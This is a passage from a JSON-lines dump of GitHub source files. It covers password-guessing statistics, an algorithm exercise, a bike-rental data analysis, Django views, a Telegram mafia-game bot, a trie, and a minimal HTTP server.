'guessing_num_ex', 'guessing_num_ex_med', 'lb', 'ub'],\n 'sample': ['pw', 'logprob'],\n 'dictionary': ['pw', 'logprob']\n}\n\ndef read_file(path, type):\n df = pd.read_csv(path, sep = '\\t', header = None, names = format[type], quoting=csv.QUOTE_NONE)\n return df\n\ndef write_file(path, type, df):\n df.to_csv(path, columns = format[type], sep='\\t', index=False, header=False, quoting=csv.QUOTE_NONE)\n\ndef compute_bounds(df, epsilon = 0.005, delta = 0.333):\n df.sort_values(by = ['logprob'], inplace = True, ignore_index = True)\n df['prob'] = 1/np.power(2, df['logprob'])\n df['error'] = epsilon / df['prob']\n total_accounts = df['freq'].sum()\n df['cracked_percentage'] = df['freq'].cumsum() / total_accounts\n df['lb1'] = df['guessing_num_ex'] + 1 - df['error']\n df['lb2'] = df['guessing_num_ex_med'] * delta\n df['lb'] = df.apply(lambda x: max(x['lb1'], x['lb2']), axis=1)\n df['ub'] = df['guessing_num_in'] + df['error']\n return df","repo_name":"ConfidentMonteCarlo/ConfidentMonteCarlo","sub_path":"pwdio.py","file_name":"pwdio.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"9396407820","text":"from typing import List\r\nfrom collections import defaultdict, deque\r\nfrom heapq import heappop, heappush, nlargest\r\n\r\nglobal GRAPH, n, CAFENAME, CAFEEXIST, HOMECAFE, HOMECAFESCORE, CAFESCORE, HOMENAMEBYCAFEID\r\n\r\n\r\n\"\"\"\r\n1. 와일드 카드용 딕셔너리 -> List로 선언 : CAFENAME\r\n2. 카페 + 레이지 체크용 딕셔너리 선언 : CAFEEXIST\r\n3. 각 마을별 딕셔너리 형태로 카페가 있는지 확인. : HOMECAFE\r\n4. 각 마을별 우선순위 큐 형태로 카페 최대값을 가진다. : HOMECAFESCORE\r\n5. 지도를 가진다.\r\n6. 카페의 마을 이름\r\n6. 카페별 스코어 : GRAPH\r\n\"\"\"\r\n\r\n\r\ndef init(N: int, M: int, mRoads: List[List[int]]) -> None:\r\n global GRAPH, n, CAFENAME, CAFEEXIST, HOMECAFE, HOMECAFESCORE, CAFESCORE, HOMENAMEBYCAFEID\r\n\r\n n = N\r\n GRAPH = [[] for _ in range(N+1)]\r\n for i in range(M) :\r\n s,e = mRoads[i]\r\n GRAPH[s].append(e)\r\n GRAPH[e].append(s)\r\n\r\n CAFENAME = defaultdict(list)\r\n CAFEEXIST = defaultdict(int)\r\n HOMECAFE = [defaultdict(int) for _ in range(N+1)]\r\n HOMECAFESCORE = defaultdict(list)\r\n CAFESCORE = defaultdict(int)\r\n HOMENAMEBYCAFEID = defaultdict(int)\r\n\r\ndef inputWildCard(mName,score):\r\n global GRAPH, n, CAFENAME, CAFEEXIST, HOMECAFE, HOMECAFESCORE, CAFESCORE, HOMENAMEBYCAFEID\r\n\r\n\r\n for i in range(len(mName)) :\r\n for j in range(i, len(mName)):\r\n myStr = mName[i:j+1]\r\n heappush(CAFENAME[myStr], (-score, mName))\r\n\r\ndef addRestaurant(mCityID: int, mName: str) -> None:\r\n global GRAPH, n, CAFENAME, CAFEEXIST, HOMECAFE, HOMECAFESCORE, CAFESCORE, HOMENAMEBYCAFEID\r\n\r\n inputWildCard(mName,0)\r\n CAFEEXIST[mName] = 1\r\n heappush(HOMECAFESCORE[mCityID], (0, mName))\r\n HOMECAFE[mCityID][mName] = 1\r\n CAFESCORE[mName] = 0\r\n HOMENAMEBYCAFEID[mName] = mCityID\r\n\r\n\r\ndef addValue(mName: str, mScore: int) -> None:\r\n #카페 평점 추가\r\n CAFESCORE[mName] += mScore\r\n\r\n #평점 업데이트 되는 input 우선순위 큐 값이 바뀐다.\r\n inputWildCard(mName, CAFESCORE[mName])\r\n\r\n #마을 카페에 값을 추가한다.\r\n mCityId = HOMENAMEBYCAFEID[mName]\r\n heappush(HOMECAFESCORE[mCityId], (-CAFESCORE[mName], mName))\r\n\r\ndef bestValue(mStr: str) -> int:\r\n\r\n BEST = 0\r\n while CAFENAME[mStr] :\r\n score, mName = heappop(CAFENAME[mStr])\r\n if CAFESCORE[mName] != abs(score) : continue\r\n BEST = abs(score)\r\n heappush(CAFENAME[mStr], (score, mName))\r\n break\r\n\r\n # print(BEST)\r\n return BEST\r\n\r\ndef bfs(start, dis) :\r\n global GRAPH, n, CAFENAME, CAFEEXIST, HOMECAFE, HOMECAFESCORE, CAFESCORE, HOMENAMEBYCAFEID\r\n\r\n V = [0 for _ in range(n+1)]\r\n que = deque()\r\n que.append((start,0))\r\n\r\n V[start] = 1\r\n cafe_list = []\r\n\r\n while que :\r\n now_city, now_dis = que.popleft()\r\n\r\n cnt = 0\r\n stack = []\r\n while HOMECAFESCORE[now_city] and cnt < 3 :\r\n score, cafe_name = heappop(HOMECAFESCORE[now_city])\r\n if CAFESCORE[cafe_name] != abs(score) : continue\r\n cnt += 1\r\n stack.append((score, cafe_name))\r\n\r\n while stack :\r\n score, cafe_name = stack.pop()\r\n heappush(HOMECAFESCORE[now_city], (score, cafe_name))\r\n cafe_list.append(score)\r\n\r\n\r\n next_dis = now_dis + 1\r\n for next_city in GRAPH[now_city] :\r\n if next_dis > dis : break\r\n if V[next_city] == 0 :\r\n V[next_city] = 1\r\n que.append((next_city, next_dis))\r\n\r\n return cafe_list\r\n\r\n\r\n\r\n\r\n\r\ndef regionalValue(mCityID: int, mDist: int) -> int:\r\n ret = bfs(mCityID, mDist)\r\n ret.sort(reverse=True)\r\n value = 0\r\n for i in range(3) :\r\n if not ret : break\r\n value += abs(ret.pop())\r\n\r\n return value\r\n\r\n\r\n\"\"\"\r\n1. 와일드 카드용 딕셔너리 -> List로 선언\r\n2. 카페 + 레이지 체크용 딕셔너리 선언 \r\n3. 각 마을별 딕셔너리 형태로 카페가 있는지 확인.\r\n4. 각 마을별 우선순위 큐 형태로 카페 최대값을 가진다. \r\n5. ���도를 가진다.\r\n\r\n카페 이름 중\r\nSTR이 포함되어 있는 카페의 가치 중, 가장 높은 가치를 반환한다.\r\n150,000 -> 이게 가장 크다. 카페 이름이 총 3~5개임. \r\n\r\n데이터 셋트 고려\r\n1. 이 경우 총 3번을 살펴봐야함.\r\n2. 각 데이터에는 3333개가 있을 수 있음. -> \r\n3. 3 * 3333 * 150,000을 해야함. \r\n이렇게 살펴 볼 경우 15억번이다. 당연히 초과다.\r\n각 문자열을 우선순위 큐로 살펴보자.\r\n\r\n1. 와일드 카드를 만든다. 와일드 카드는 우선순위 큐를 가진다. \r\n2. 우선순위 큐에 값, 카페이름을 넣어둔다. --> 레이지 업데이트가 필요하다.\r\n\r\n따라서 레이지 업데이트를 위한 카페이름 default dict도 만든다.\r\n이 default dict에 값을 넣어두고, 우선순위 큐에서 값을 꺼내오고 맞으면 넣고, 아니면 버린다. \r\n\r\n \r\n\r\n\r\n\r\n\"\"\"\r\n\r\n\r\n\r\n\"\"\"\r\nN개의 마을, M개의 도로가 있음.\r\n마을 : 최대 50개\r\n도로 : 최대 50개\r\n--> 마을과 마을이 모두 이어질 수 있다. 하나도 안 이어질 수 있다.\r\n\r\n\r\n도로 정보 :\r\n1. 양방향 통행만 가능 : 그래프 표현 필요\r\n\r\n마을 정보 :\r\n2. 연결되지 않은 마을 존재 가능.\r\n3. 마을에는 카페 존재 가능\r\n4. 한 마을에 여러 개 카페 존재 가능.\r\n5. 카페 평점은 0점이 기본.\r\n6. 마을 번호 : 1 ~ N번\r\n\r\n\r\n카페 정보\r\n1. 카페 평점은 0점이 기본\r\n2. 카페의 가치는 받은 평점의 총합\r\n\r\n\r\n시작 시, 카페 존재하지 않음.\r\n\r\n\"\"\"","repo_name":"chickenchickenlove/BOJ-Algorithm","sub_path":"Certi/pro/Pro6/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":5603,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28882697877","text":"#Hello, there!\r\n#This program is created by Dev Ali\r\n#Dev Ali (me) is a beginner Python Programmer\r\n#Program to print tables\r\n\r\n#The number you want the table of\r\nnum = input(\"Enter the number: \")\r\n\r\n#Converts the number into an integer\r\ntry:\r\n\tnum = int(num)\r\nexcept:\r\n\tprint(\"Sorry! You did not enter a number\")\r\n\texit()\r\n\r\n#The times you want\r\ntimes = int(input(\"Times: \"))\r\n\r\n#Main function\r\nx = 0\r\nwhile x < times:\r\n\tx = x + 1\r\n\tprint(num, \"*\", x, \"=\", num * x)","repo_name":"Dev-Ali/Table-calculator","sub_path":"table_counter.py","file_name":"table_counter.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4415170789","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 9 19:07:07 2021\n\n@author: Alex\n\"\"\"\n\nimport os #sistema operativo\nimport pandas as pd #gestionar datframes\nimport numpy as np #numeric python (vectores, matrices,...)\nimport matplotlib.pyplot as plt #graficos\nimport scipy.stats as stats #Tests estadisticos\nimport seaborn as sns #Graficos pro\n\nos.chdir('C:/Programacion Estadistica PEP/code_and_data')\nos.getcwd()\n\n#Reads data from CSV file and stores it in a dataframe called rentals_2011\n# Pay atention to the specific format of your CSV data (; , or , .)\nwbr = pd.read_csv (\"WBR_11_12_denormalized_temp.csv\", sep=';', decimal=',')\n\nwbr.cnt.describe()\n\nplt.hist(wbr['cnt'],edgecolor='black', bins=10) #borde de color negro \nplt.xticks(np.arange(0,10000, step=1000)) #eje X \nplt.title('Figure 1. Daily Bicycle rentals in Washington') #poner titulo \nplt.ylabel('Frequency') #dar nombre al eje y \nplt.xlabel('Number of rented bicycles') #dar nombre al eje x\nplt.show()\n\n#Descripcion temperatura\n\nplt.hist(wbr['temp_celsius'],edgecolor='black', bins=10) #borde de color negro \nplt.title('Figure. Temperature in celsius') #poner titulo \nplt.ylabel('Frequency') #dar nombre al eje y \nplt.xlabel('Temperature in celsius') #dar nombre al eje x\nplt.show()\n\n\nx = wbr['temp_celsius']\ny = wbr['cnt']\n\nplt.scatter(x,y, s=20, facecolors='none', edgecolors='C0')\n\n#CORRELACION (primer numero correlacion lineal, el segundo p-value)\nfrom scipy.stats.stats import pearsonr\npearsonr(x,y)\nr, p_val = pearsonr(x,y)\nprint (r,p_val)\nn = len (wbr.cnt)\n\n#Tabla completa\nplt.figure(figsize=(5,5))\nplt.scatter(x,y, s=20, facecolors='none', edgecolors='C0')\nplt.title('Daily bicycle rentals by temperature') #poner titulo \nplt.ylabel('Daily rentals') #dar nombre al eje y \nplt.xlabel('Temperature in celsius') #dar nombre al eje x\nprops = dict(boxstyle='round', facecolor='white', lw=0.5)\ntextstr = '$\\mathrm{r}=%.2f$\\n$\\mathrm{P.Val:}=%.3f$\\n$\\mathrm{n}=%.0f$'%(r, p_val, n)\nplt.text (3,7000, textstr , bbox=props)\nplt.show()\n\n#Poner colores segun el año (c=wbr.yr)\nplt.figure(figsize=(5,5))\nplt.scatter(x,y, s=20, facecolors='none', c=wbr.yr)\nplt.title('Daily bicycle rentals by temperature') #poner titulo \nplt.ylabel('Daily rentals') #dar nombre al eje y \nplt.xlabel('Temperature in celsius') #dar nombre al eje x\nprops = dict(boxstyle='round', facecolor='white', lw=0.5)\ntextstr = '$\\mathrm{r}=%.2f$\\n$\\mathrm{P.Val:}=%.3f$\\n$\\mathrm{n}=%.0f$'%(r, p_val, n)\nplt.text (3,7000, textstr , bbox=props)\nplt.show()\n#Por season\nplt.figure(figsize=(5,5))\nplt.scatter(x,y, s=20, facecolors='none', c=wbr.season)\nplt.title('Daily bicycle rentals by temperature') #poner titulo \nplt.ylabel('Daily rentals') #dar nombre al eje y \nplt.xlabel('Temperature in celsius') #dar nombre al eje x\nprops = dict(boxstyle='round', facecolor='white', lw=0.5)\ntextstr = '$\\mathrm{r}=%.2f$\\n$\\mathrm{P.Val:}=%.3f$\\n$\\mathrm{n}=%.0f$'%(r, p_val, n)\nplt.text (3,7000, textstr , bbox=props)\nplt.show()\n\n#Mismo ejercicio pero con windspeed\nz = wbr['windspeed_kh']\nplt.scatter(z,y, s=20, facecolors='none', edgecolors='C0')\npearsonr(z,y)\nr, p_val2 = pearsonr(z,y)\nprint (r,p_val2)\n\nplt.figure(figsize=(5,5))\nplt.scatter(z,y, s=20, facecolors='none', c=wbr.yr)\nplt.title('Daily bicycle rentals by windspeed') #poner titulo \nplt.ylabel('Daily rentals') #dar nombre al eje y \nplt.xlabel('Windspeed') #dar nombre al eje x\nprops = dict(boxstyle='round', facecolor='white', lw=0.5)\ntextstr = '$\\mathrm{r}=%.2f$\\n$\\mathrm{P.Val:}=%.3f$\\n$\\mathrm{n}=%.0f$'%(r, p_val, n)\nplt.text (25,7000, textstr , bbox=props)\nplt.show()","repo_name":"AlexPC23/Python","sub_path":"Spyder/Sesiones/Sesion 9.py","file_name":"Sesion 9.py","file_ext":"py","file_size_in_byte":3699,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36676464612","text":"from django.shortcuts import render\nfrom django.contrib import messages\nfrom .models import Email\n# Create your views here.\n\ndef homePage(request):\n if request.method=='POST':\n newemail = Email()\n newemail.name = request.POST.get('name')\n newemail.subject = request.POST.get('subject')\n newemail.message = request.POST.get('message')\n newemail.save()\n messages.success(request, \"Messages sent\")\n context = {}\n return render (request, 'index.html', context)","repo_name":"cahyoadhi/personalweb","sub_path":"personalweb/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73812108627","text":"import asyncio\nfrom asyncio import sleep\n\nfrom aiogram.types import ChatActions, Message\nfrom aiogram.utils.exceptions import BadRequest\n\nfrom bot.controllers import DispatcherProvider\nfrom bot.controllers.ActionController.ActionController import ActionController\nfrom bot.controllers.ActionController.Actions.VoteAction import VoteAction, DayKillVoteAction\nfrom bot.controllers.ActionController.types import VoteFailReason\nfrom bot.controllers.GameController.utils import attach_roles, greet_roles, send_roles_vote, resolve_results, \\\n resolve_schedules, run_tasks, show_game_state, send_game_phase, send_roles_actions, promote_roles_if_need, \\\n apply_actions, attach_mafia_chat, resolve_failure_votes, get_session_winner\nfrom bot.controllers.MessageController.MessageController import MessageController\nfrom bot.controllers.ReactionCounterController.ReactionCounterController import ReactionCounterController\nfrom bot.controllers.SessionController.Session import Session\nfrom bot.controllers.SessionController.SessionController import SessionController\nfrom bot.controllers.SessionController.types import SessionStatus\nfrom bot.localization import Localization\nfrom bot.models.MafiaBotError import SessionAlreadyActiveError\nfrom bot.models.Roles import BaseRole\nfrom bot.models.Roles.Commissioner import Commissioner\nfrom bot.models.Roles.Doctor import Doctor\nfrom bot.models.Roles.Lawyer import Lawyer\nfrom bot.models.Roles.Whore import Whore\nfrom bot.models.Roles.constants import Team\nfrom bot.types import ChatId\nfrom bot.utils.emoji_strings import get_role_name\nfrom bot.utils.message import attach_last_words\nfrom bot.utils.restriction import restriction_with_prev_state, SEND_RESTRICTIONS\nfrom bot.utils.shared import is_error, async_timeout, async_wait\n\n\nclass GameController(DispatcherProvider):\n\n @classmethod\n async def run_new_game(cls, session: Session, timer: int = None):\n await cls.dp.bot.send_chat_action(session.chat_id, ChatActions.TYPING)\n\n chat_id = session.chat_id\n\n try:\n if session.invite_url:\n await cls.dp.bot.revoke_chat_invite_link(chat_id, session.invite_url)\n session.invite_url = (await cls.dp.bot.create_chat_invite_link(chat_id)).invite_link\n except AttributeError:\n session.invite_url = ''\n\n t = session.t\n try:\n SessionController.push_session(session)\n except SessionAlreadyActiveError:\n if session.status == SessionStatus.registration:\n await MessageController.send_registration_is_already_started(chat_id, t)\n else:\n await MessageController.send_game_is_already_started(chat_id, t)\n return\n\n to_clean_msg = []\n\n async def send_connect_message():\n msg = await MessageController.send_registration_start(chat_id, t, ', '.join(\n map(lambda x: x.get_mention(), session.players.values())))\n to_clean_msg.insert(0, msg.message_id)\n await msg.pin()\n\n await send_connect_message()\n\n async def player_subscriber(players):\n await MessageController.update_registration_start(\n chat_id,\n to_clean_msg[0],\n session.t,\n ', '.join(map(lambda x: x.get_mention(), session.players.values()))\n )\n\n session.players.subscribe(player_subscriber)\n\n session.timer = timer or session.settings.values['time']['registration']\n\n session.status = SessionStatus.registration\n\n while session.timer > 0:\n if session.status != SessionStatus.registration:\n break\n\n session.timer -= 1\n if 0 < session.timer <= 5:\n m = await cls.dp.bot.send_message(chat_id, str(session.timer))\n to_clean_msg.append(m.message_id)\n elif not session.timer % 30 and session.timer > 0:\n try:\n m = await MessageController.send_registration_reminder(chat_id, t, session.timer, to_clean_msg[0])\n if is_error(m):\n raise m\n to_clean_msg.append(m.message_id)\n except BadRequest:\n await send_connect_message()\n\n await sleep(1)\n\n await cls.dp.bot.unpin_chat_message(chat_id, to_clean_msg[0])\n await MessageController.cleanup_messages(chat_id, to_clean_msg)\n\n session.players.unsubscribe(player_subscriber)\n\n if session.status != SessionStatus.registration:\n return\n\n if len(session.players) < session.settings.values['players']['min']:\n await MessageController.send_not_enough_players(chat_id, session.t)\n SessionController.kill_session(chat_id)\n return\n\n async def in_game_disconnection_subscriber(players):\n roles = session.roles\n result = get_session_winner([r for r in roles.values() if r.alive])\n if result:\n await cls.apply_game_result(session, result)\n\n session.players.subscribe(in_game_disconnection_subscriber)\n\n asyncio.create_task(GameController.start_game(session))\n\n @classmethod\n async def affect_roles(cls, session: Session, store: dict):\n bot = cls.dp.bot\n t = session.t\n\n async def dead_schedule(role: BaseRole):\n global_text = role.t.group.game.kill.prefix.format(role.user.get_mention())\n if session.settings.values['game']['show_role_of_dead']:\n global_text += role.t.group.game.kill.target.format(get_role_name(role.shortcut, t))\n if session.settings.values['game']['show_killer']:\n global_text += role.t.group.game.kill.killer.format(get_role_name(role.killed_by, t))\n await bot.send_message(session.chat_id, global_text)\n\n async def post_results_schedule(role: BaseRole):\n if session.status != SessionStatus.game:\n return\n if not session.settings.values['game']['last_words']:\n await bot.send_message(role.user.id, role.t.private.kill)\n return\n\n async def handler(msg: Message):\n await bot.send_message(session.chat_id, role.t.group.game.last_words.format(role.user.get_mention()))\n await msg.copy_to(session.chat_id)\n\n session.handlers.append(await attach_last_words(\n role.user.id,\n role.t.private.kill_with_words,\n handler\n ))\n\n async def apply_effect(user_id, role: BaseRole):\n if session.settings.values['game']['show_private_night_actions']:\n if role.cured:\n await MessageController.send_role_affect(user_id, t, Doctor.shortcut)\n if role.just_checked:\n await MessageController.send_role_affect(user_id, t, Commissioner.shortcut)\n if role.blocked:\n await MessageController.send_role_affect(user_id, t, Whore.shortcut)\n if role.acquitted:\n await MessageController.send_role_affect(user_id, t, Lawyer.shortcut)\n if role.just_killed:\n if role.killed_by != Team.civ:\n if 'just_dead' not in store:\n store['just_dead'] = []\n if 'schedule' not in store:\n store['schedule'] = []\n if 'post_schedule' not in store:\n store['post_schedule'] = []\n store['just_dead'].append(user_id)\n store['schedule'].append(lambda: dead_schedule(role))\n store['post_schedule'].append(lambda: post_results_schedule(role))\n else:\n text = role.t.group.game.kill.lynch_prefix.format(role.user.get_mention())\n if session.settings.values['game']['show_role_of_dead']:\n text += role.t.group.game.kill.target.format(get_role_name(role.shortcut, t))\n await cls.dp.bot.send_message(session.chat_id, text)\n if session.settings.values['game']['mute_messages_from_dead']:\n await session.restrict_role(user_id)\n\n await async_wait([apply_effect(*items) for items in session.roles.items()])\n\n @classmethod\n async def apply_game_result(cls, session: Session, winner: str):\n if not winner:\n return\n\n winners = ''\n losers = ''\n for role in session.roles.values():\n line = f'{role.user.get_mention()} ' \\\n f'{session.t.strings.was} ' \\\n f'{get_role_name(role.shortcut, session.t)}\\n'\n if not role.alive:\n if role.won:\n winners += line\n else:\n losers += line\n else:\n if role.team != winner:\n losers += line\n else:\n winners += line\n\n await MessageController.send_game_results(session.chat_id, session.t, winner, winners, losers)\n cls.stop_game(session)\n\n @classmethod\n async def resolve_day_lynching(cls, session: Session):\n votes = []\n for role in session.roles.values():\n if isinstance(role.action, VoteAction):\n votes.append(role.action)\n role.action = None\n\n actions, comments = await ActionController.resole_votes(votes)\n if not actions:\n reason: VoteFailReason = comments.get(DayKillVoteAction)\n await MessageController.send_vote_failure_reason(session.chat_id, session.t, reason)\n return\n\n action = actions[0]\n\n if session.settings.values['game']['lynching_confirmation']:\n vote_msg = await ReactionCounterController.send_reaction_counter(\n session.chat_id,\n session.t.group.game.polling.format(action.target.user.get_mention()),\n ['ðŸ‘�', '👎'],\n False,\n [role.user.id for role in session.roles.values() if role.alive],\n [action.target.user.id]\n )\n await sleep(session.settings.values['time']['vote'])\n await ReactionCounterController.stop_reaction_counter(reaction_counter=vote_msg)\n\n if session.status != SessionStatus.game:\n return\n\n yes_count = len(vote_msg.reactions['ðŸ‘�'])\n no_count = len(vote_msg.reactions['👎'])\n\n if yes_count == no_count:\n await MessageController.send_too_much_candidates(session.chat_id, session.t)\n return\n if yes_count < no_count:\n await MessageController.send_mind_changed(session.chat_id, session.t, action.target.user.get_mention())\n return\n\n await action.apply()\n\n @classmethod\n async def go_day(cls, session: Session):\n cross_pipeline_store = {}\n tasks = \\\n lambda: apply_actions(session, cross_pipeline_store), \\\n lambda: cls.affect_roles(session, cross_pipeline_store), \\\n lambda: resolve_failure_votes(session, cross_pipeline_store['vote_fails_reasons']), \\\n lambda: cls.night_restriction(session, False), \\\n lambda: resolve_results(session, cross_pipeline_store), \\\n lambda: send_game_phase(session, cross_pipeline_store), \\\n lambda: resolve_schedules(cross_pipeline_store.get('schedule')), \\\n lambda: cls.apply_game_result(session, cross_pipeline_store.get('winner')), \\\n lambda: resolve_schedules(cross_pipeline_store.get('post_schedule')), \\\n lambda: show_game_state(session, cross_pipeline_store.get('config')), \\\n lambda: asyncio.sleep(session.settings.values['time']['day']), \\\n lambda: send_roles_vote(session), \\\n lambda: asyncio.sleep(session.settings.values['time']['poll']), \\\n lambda: cls.resolve_day_lynching(session)\n\n await run_tasks(session, tasks)\n session.toggle()\n asyncio.create_task(cls.go_night(session))\n\n @classmethod\n async def go_night(cls, session: Session):\n\n async def schedule_day():\n await cls.remove_mafia_chat(session)\n session.toggle()\n await cls.go_day(session)\n\n cross_pipeline_store = {}\n\n tasks = \\\n lambda: cls.affect_roles(session, cross_pipeline_store), \\\n lambda: resolve_results(session, cross_pipeline_store), \\\n lambda: cls.apply_game_result(session, cross_pipeline_store.get('winner')), \\\n lambda: promote_roles_if_need(session.roles), \\\n lambda: attach_mafia_chat(session), \\\n lambda: cls.night_restriction(session), \\\n lambda: MessageController.send_night(session.chat_id, session.t), \\\n lambda: show_game_state(session, cross_pipeline_store.get('config')), \\\n lambda: send_roles_actions(session)\n\n asyncio.create_task(async_timeout(session.settings.values['time']['night'], schedule_day))\n\n await run_tasks(session, tasks)\n\n @classmethod\n async def night_restriction(cls, session: Session, restrict: bool = True):\n roles = [role for role in session.roles.values() if role.alive]\n if restrict:\n for role in roles:\n session.restrictions[role.user.id] = await restriction_with_prev_state(\n cls.dp.bot,\n session.chat_id,\n role.user.id,\n SEND_RESTRICTIONS\n )\n else:\n for role in roles:\n await restriction_with_prev_state(\n cls.dp.bot,\n session.chat_id,\n role.user.id,\n session.restrictions.pop(role.user.id, {'can_send_messages': True})\n )\n\n @classmethod\n async def remove_mafia_chat(cls, session: Session):\n if not session.mafia_chat_handler:\n return\n try:\n cls.dp.message_handlers.unregister(session.mafia_chat_handler)\n except ValueError:\n pass\n\n @classmethod\n async def start_game(cls, session: Session):\n attach_roles(session)\n session.status = SessionStatus.game\n await greet_roles(session)\n if session.is_night:\n asyncio.create_task(cls.go_night(session))\n else:\n session.day_count += 1\n asyncio.create_task(cls.go_day(session))\n\n @classmethod\n async def skip_registration(cls, chat_id: ChatId, t: Localization):\n session = SessionController.get_session(chat_id)\n if len(session.players) < session.settings.values['players']['min']:\n await MessageController.send_not_enough_players(chat_id, t)\n return\n session.timer = -1\n await MessageController.send_registration_skipped(chat_id, t)\n\n @classmethod\n def stop_game(cls, session: Session):\n SessionController.kill_session(session.chat_id)\n session.players.unsubscribe_all()\n session.roles.unsubscribe_all()\n for chat_id, restriction in session.restrictions.items():\n asyncio.create_task(restriction_with_prev_state(\n cls.dp.bot,\n session.chat_id,\n chat_id,\n restriction\n ))\n for handler in session.handlers:\n try:\n if handler:\n cls.dp.message_handlers.unregister(handler)\n except ValueError:\n pass\n if session.mafia_chat_handler:\n try:\n cls.dp.message_handlers.unregister(session.mafia_chat_handler)\n except ValueError:\n pass\n\n @classmethod\n async def force_stop(cls, session: Session):\n t = session.t\n chat_id = session.chat_id\n\n session_status = session.status\n\n if session_status == SessionStatus.pending:\n await MessageController.send_nothing_to_stop(chat_id, t)\n return\n\n GameController.stop_game(session)\n\n if session_status == SessionStatus.game:\n await MessageController.send_game_force_stopped(chat_id, t)\n elif session_status == SessionStatus.registration:\n await MessageController.send_registration_force_stopped(chat_id, t)\n\n @classmethod\n async def force_start(cls, session: Session):\n t = session.t\n chat_id = session.chat_id\n if session.status != SessionStatus.registration or not SessionController.get_session(chat_id):\n await MessageController.send_nothing_to_skip(chat_id, t)\n return\n\n await GameController.skip_registration(chat_id, t)\n\n @classmethod\n async def change_registration_time(cls, session: Session, time: int, sign: int):\n chat_id = session.chat_id\n t = session.t\n if session.status != SessionStatus.registration:\n if sign > 0:\n await MessageController.send_nothing_to_extend(chat_id, t)\n else:\n await MessageController.send_nothing_to_reduce(chat_id, t)\n return\n\n session.timer += time * sign\n\n if sign >= 0:\n await MessageController.send_registration_extended(chat_id, t, time, session.timer)\n else:\n await MessageController.send_registration_reduced(chat_id, t, time, session.timer)\n\n @classmethod\n async def shutdown_handler(cls):\n return await asyncio.gather(\n *[asyncio.gather(\n cls.force_stop(session),\n MessageController.send_bot_stopped(session.chat_id, session.t)\n ) for session in SessionController.get_active_sessions().values()]\n )\n","repo_name":"HewstonFox/TheMafiaHostBotV2","sub_path":"bot/controllers/GameController/GameController.py","file_name":"GameController.py","file_ext":"py","file_size_in_byte":17893,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"69815162706","text":"class TrieNode:\n def __init__(self):\n self.child = [0]*2\n self.end = False\n\n\nclass Trie:\n def __init__(self):\n self.root = TrieNode()\n\n def insert(self,key):\n cur = self.root\n n = len(key)\n for i in range(n):\n index = key[i]\n if not cur.child[index]:\n cur.child[index] = TrieNode()\n cur = cur.child[index]\n cur.end = True\n\n def search(self,key):\n cur = self.root\n n = len(key)\n for i in range(n):\n index = key[i]\n if not cur.child[index]:\n return False\n cur = cur.child[index]\n return cur.end\n\narr = [[0, 1, 0, 0, 1],\n [1, 0, 1, 1, 0],\n [0, 1, 0, 0, 1],\n [1, 0, 1, 0, 0],\n [1, 0, 1, 0, 0]] \n\nt = Trie()\nc = 0\nfor i in arr:\n if not t.search(i):\n c += 1\n t.insert(i)\nprint(c) \n\n\n\n\n\n\n\n\ndef printArray(matrix):\n \n rowCount = len(matrix)\n if rowCount == 0:\n return\n \n columnCount = len(matrix[0])\n if columnCount == 0:\n return\n \n row_output_format = \" \".join([\"%s\"] * columnCount)\n \n printed = {}\n \n for row in matrix:\n routput = row_output_format % tuple(row)\n if routput not in printed:\n printed[routput] = True\n print(routput)\n \n# Driver Code\nmat = [[0, 1, 0, 0, 1],\n [1, 0, 1, 1, 0],\n [0, 1, 0, 0, 1],\n [1, 1, 1, 0, 0]]\n \nprintArray(mat)\n","repo_name":"DDR7707/Final-450-with-Python","sub_path":"Trie/407.Print Count of Unique Rows is Boolean Matrix.py","file_name":"407.Print Count of Unique Rows is Boolean Matrix.py","file_ext":"py","file_size_in_byte":1461,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"38634426702","text":"from django.core.mail import send_mail\n\nfrom drfsupport.settings import DEFAULT_FROM_EMAIL\n\n\ndef send_email_when_status_changed(ticket_title, ticket_status, client_email):\n send_mail(\n subject='Статус тикета изменён.',\n message=f\"Статус вашего тикета '{ticket_title}' был изменен на {ticket_status}.\",\n from_email=DEFAULT_FROM_EMAIL,\n recipient_list=[client_email],\n fail_silently=False,\n )\n","repo_name":"astivard/support-api","sub_path":"support/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13531839032","text":"import socket\nimport sys\nimport os\nfrom urllib.parse import urlparse\nimport mimetypes\n\n\ndef response_ok(body=b\"This is a minimal response\", mimetype=b\"text/plain\"):\n \"\"\"\n returns a basic HTTP response\n Ex:\n response_ok(\n b\"

    Welcome:

    \",\n b\"text/html\"\n ) ->\n b'''\n HTTP/1.1 200 OK\\r\\n\n Content-Type: text/html\\r\\n\n \\r\\n\n

    Welcome:

